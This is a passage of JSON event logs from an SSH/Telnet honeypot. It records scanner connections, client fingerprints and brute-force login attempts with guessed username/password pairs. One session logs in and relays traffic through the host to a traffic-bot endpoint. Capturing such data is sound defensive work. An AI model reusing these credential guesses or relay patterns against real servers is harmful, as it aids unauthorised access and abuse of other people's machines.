fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:27.815971Z","src_ip":"27.71.230.31","session":"12eccdfa5d43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:28.590231Z","src_ip":"23.175.50.51","session":"1f592f6682a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:29.810333Z","src_ip":"173.208.192.194","session":"8768c9b84afb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":42000,"dst_ip":"159.203.135.109","dst_port":22,"session":"403d217c1558","protocol":"ssh","message":"New connection: 91.92.40.36:42000 (159.203.135.109:22) [session: 403d217c1558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:29.970914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:31.971121Z","src_ip":"91.92.40.36","session":"403d217c1558","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:31.974865Z","src_ip":"91.92.40.36","session":"403d217c1558","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jjxy","password":"jjxy","message":"login attempt [jjxy/jjxy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:34.308200Z","src_ip":"91.92.40.36","session":"8aa0e00b4b39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin$123456","message":"login attempt [root/admin$123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:35.906584Z","src_ip":"27.71.230.31","session":"12eccdfa5d43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.2","message":"Connection lost after 13.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:37.474467Z","src_ip":"91.92.40.36","session":"8aa0e00b4b39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"barker","message":"login attempt [user/barker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:37.576279Z","src_ip":"91.92.40.36","session":"403d217c1558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44676,"dst_ip":"159.203.135.109","dst_port":22,"session":"028244b00e4f","protocol":"ssh","message":"New connection: 91.92.40.36:44676 (159.203.135.109:22) [session: 028244b00e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:37.896596Z"}
{"eventid":"cowrie.session.closed","duration":"11.5","message":"Connection lost after 11.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:38.467802Z","src_ip":"27.71.230.31","session":"12eccdfa5d43","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:39.343435Z","src_ip":"91.92.40.36","session":"028244b00e4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:39.348847Z","src_ip":"91.92.40.36","session":"028244b00e4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:40.163692Z","src_ip":"91.92.40.36","session":"403d217c1558","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.43428659439087,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:40.251092Z","src_ip":"172.81.62.90","session":"f9a3e4ea3d4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44696,"dst_ip":"159.203.135.109","dst_port":22,"session":"484f1bef5ab2","protocol":"ssh","message":"New connection: 91.92.40.36:44696 (159.203.135.109:22) [session: 484f1bef5ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:44.170160Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":62920,"dst_ip":"10.17.0.5","dst_port":22,"session":"d761becd6fd5","protocol":"ssh","message":"New connection: 113.164.152.20:62920 (10.17.0.5:22) [session: d761becd6fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:44.286533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:44.290846Z","src_ip":"113.164.152.20","session":"d761becd6fd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:44.580265Z","src_ip":"113.164.152.20","session":"d761becd6fd5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:46.224330Z","src_ip":"91.92.40.36","session":"484f1bef5ab2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:46.227932Z","src_ip":"91.92.40.36","session":"484f1bef5ab2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:46.878295Z","src_ip":"113.164.152.20","session":"d761becd6fd5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:47.438643Z","session":"d761becd6fd5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:47.662226Z","session":"d761becd6fd5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:48.043359Z","src_ip":"113.164.152.20","session":"d761becd6fd5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_5_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.5.5 EdgiOS/90.0.818.62 Mobile/16H62 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=S3UpfmNaUGojM3B6NDx1aw%3D%3DrmKd35sAiwrzPDqcvMnSF9UPK7XniL16o2v7F52okjlIWA38acjFuEYWszZmAVg9nVOR5w7%2FQQ1pgCba84MOpzyhQYYFlFVWlKFttVeMDjCj4c5QxB3MWm7N%2BrOT6SxvIPgOYd%2FOzL1OhcVLThMNMMPZnwPjCmy%2FXlLtsZszW%2B8x1mifCZ1Wq0oFhyX1AKuz1X7y7E1StbdJEuQ7eSx1oq88kDdnAnEy3nCy0NHD6H7xPpRQiX%2FSfVxkxTV7p5ZOX0Up56RmDrIzWHUAQHsDvX7q0vttpzUB17%2FaVYn7Sz7W%2BQTRukh0Z%2B8J0oQsUHmqFf1Vg7rfl4XiaiSoW%2BYo9CbmLED9C3hpug3TtTsmWYIlODiS1CpNcT6C19Pk92%2BXQtEQfljMVSXS1PKGeSt7MSqHZsFyNBtyiM2VI3UotOmUMMsRy7%2BQuW4hS8ju%2FuXGjoHGY%2FJPIK6jXml9c1djwguWY4iWwBRNr4xLOelW7o7tfs1f1zoSuhbFt6sHzi%2FxoQWuUoWVhRUhCb9BKU7z3rCajCIbtMhEN18YIy%2B0nkNk%2BB8WXbVGS99lY%2BUi9qiMiQyl%2FWJ%2Fq%2BS8Swcoz2bMkdi7npHASWqzdi1St71VI8yXKXs1OTmnWicVZyoRuUg4RGcJQvK%2FnKocoFszzce2FNJ5z02%2FHh3KQSIxTmT4mWcube%2FBMNE8hheI0Xtst%2BA9u3H%2FsIIpdx6LL29PQECiKj2DL5nkSiX7IhKH0Pf5rDGxhQedvtCSFWP9RoCY1kjRIfHwWMs0y1XTCcjpJY0llne4wJrXLnFL9x83C%2Bt01RSjroAWPEtznoP%2F794caTFYSyziQqL8PHdvjggo%2Fs9Y6oAHh%2FERGOIb4RYiUP5tFNj2Za13fyO6PcOB4gP3zMKqOQF7MC8A8CKILDdA47Ppvu0mH%2FqeUAvJ7xM%2Bi4dox2Y664oFjer6EkjkeCkzHn1piA7tUvhDnMVovbTxCFZohGqveGdhk2EotpziEfFMOdpA3zey4V3i1rnPnzrydvxSJ91MJi0%2BgtkE1aUNpYaW0FBO4U6%2FEaxcRf9G2DSo%2FiMJ4kBgFN6wv2ZwIT7YaUif'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_5_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.5.5 EdgiOS/90.0.818.62 Mobile/16H62 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=S3UpfmNaUGojM3B6NDx1aw%3D%3DrmKd35sAiwrzPDqcvMnSF9UPK7XniL16o2v7F52okjlIWA38acjFuEYWszZmAVg9nVOR5w7%2FQQ1pgCba84MOpzyhQYYFlFVWlKFttVeMDjCj4c5QxB3MWm7N%2BrOT6SxvIPgOYd%2FOzL1OhcVLThMNMMPZnwPjCmy%2FXlLtsZszW%2B8x1mifCZ1Wq0oFhyX1AKuz1X7y7E1StbdJEuQ7eSx1oq88kDdnAnEy3nCy0NHD6H7xPpRQiX%2FSfVxkxTV7p5ZOX0Up56RmDrIzWHUAQHsDvX7q0vttpzUB17%2FaVYn7Sz7W%2BQTRukh0Z%2B8J0oQsUHmqFf1Vg7rfl4XiaiSoW%2BYo9CbmLED9C3hpug3TtTsmWYIlODiS1CpNcT6C19Pk92%2BXQtEQfljMVSXS1PKGeSt7MSqHZsFyNBtyiM2VI3UotOmUMMsRy7%2BQuW4hS8ju%2FuXGjoHGY%2FJPIK6jXml9c1djwguWY4iWwBRNr4xLOelW7o7tfs1f1zoSuhbFt6sHzi%2FxoQWuUoWVhRUhCb9BKU7z3rCajCIbtMhEN18YIy%2B0nkNk%2BB8WXbVGS99lY%2BUi9qiMiQyl%2FWJ%2Fq%2BS8Swcoz2bMkdi7npHASWqzdi1St71VI8yXKXs1OTmnWicVZyoRuUg4RGcJQvK%2FnKocoFszzce2FNJ5z02%2FHh3KQSIxTmT4mWcube%2FBMNE8hheI0Xtst%2BA9u3H%2FsIIpdx6LL29PQECiKj2DL5nkSiX7IhKH0Pf5rDGxhQedvtCSFWP9RoCY1kjRIfHwWMs0y1XTCcjpJY0llne4wJrXLnFL9x83C%2Bt01RSjroAWPEtznoP%2F794caTFYSyziQqL8PHdvjggo%2Fs9Y6oAHh%2FERGOIb4RYiUP5tFNj2Za13fyO6PcOB4gP3zMKqOQF7MC8A8CKILDdA47Ppvu0mH%2FqeUAvJ7xM%2Bi4dox2Y664oFjer6EkjkeCkzHn1piA7tUvhDnMVovbTxCFZohGqveGdhk2EotpziEfFMOdpA3zey4V3i1rnPnzrydvxSJ91MJi0%2BgtkE1aUNpYaW0FBO4U6%2FEaxcRf9G2DSo%2FiMJ4kBgFN6wv2ZwIT7YaUif'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:48.046490Z","src_ip":"113.164.152.20","session":"d761becd6fd5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:48.052416Z","src_ip":"113.164.152.20","session":"d761becd6fd5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8c)\\x15C8\\xf1\\x8a\\xee\\x12.\\x14g\\x91\\x1b\\x87gk'\\x0f\\x1f\\xbf\\xf4O\\xbe\\xc2\\xb7\\\\\\xdc\\xcd\\xfbK6 \\x03\\xf7f\\x89\\xd1\\x12\\xabA\\xdc\\xe9\\xa1\\x08S\\xcbu\\xdf\\xd5\\x11]\\xc7\\xb2\\xa1{\\x10(O0v\\xfc7{\\xc5\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x86^\\xc9\\xa9M\\x08\\xed\\x00\\xa9\\x02\\x1c#\\xbbk\\x16\\xf0.n=\\x8a\\xc6!JJ\\xa83s\\xaf\\xd2\\x91\\xaaY\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8c)\\x15C8\\xf1\\x8a\\xee\\x12.\\x14g\\x91\\x1b\\x87gk'\\x0f\\x1f\\xbf\\xf4O\\xbe\\xc2\\xb7\\\\\\xdc\\xcd\\xfbK6 \\x03\\xf7f\\x89\\xd1\\x12\\xabA\\xdc\\xe9\\xa1\\x08S\\xcbu\\xdf\\xd5\\x11]\\xc7\\xb2\\xa1{\\x10(O0v\\xfc7{\\xc5\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x86^\\xc9\\xa9M\\x08\\xed\\x00\\xa9\\x02\\x1c#\\xbbk\\x16\\xf0.n=\\x8a\\xc6!JJ\\xa83s\\xaf\\xd2\\x91\\xaaY\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\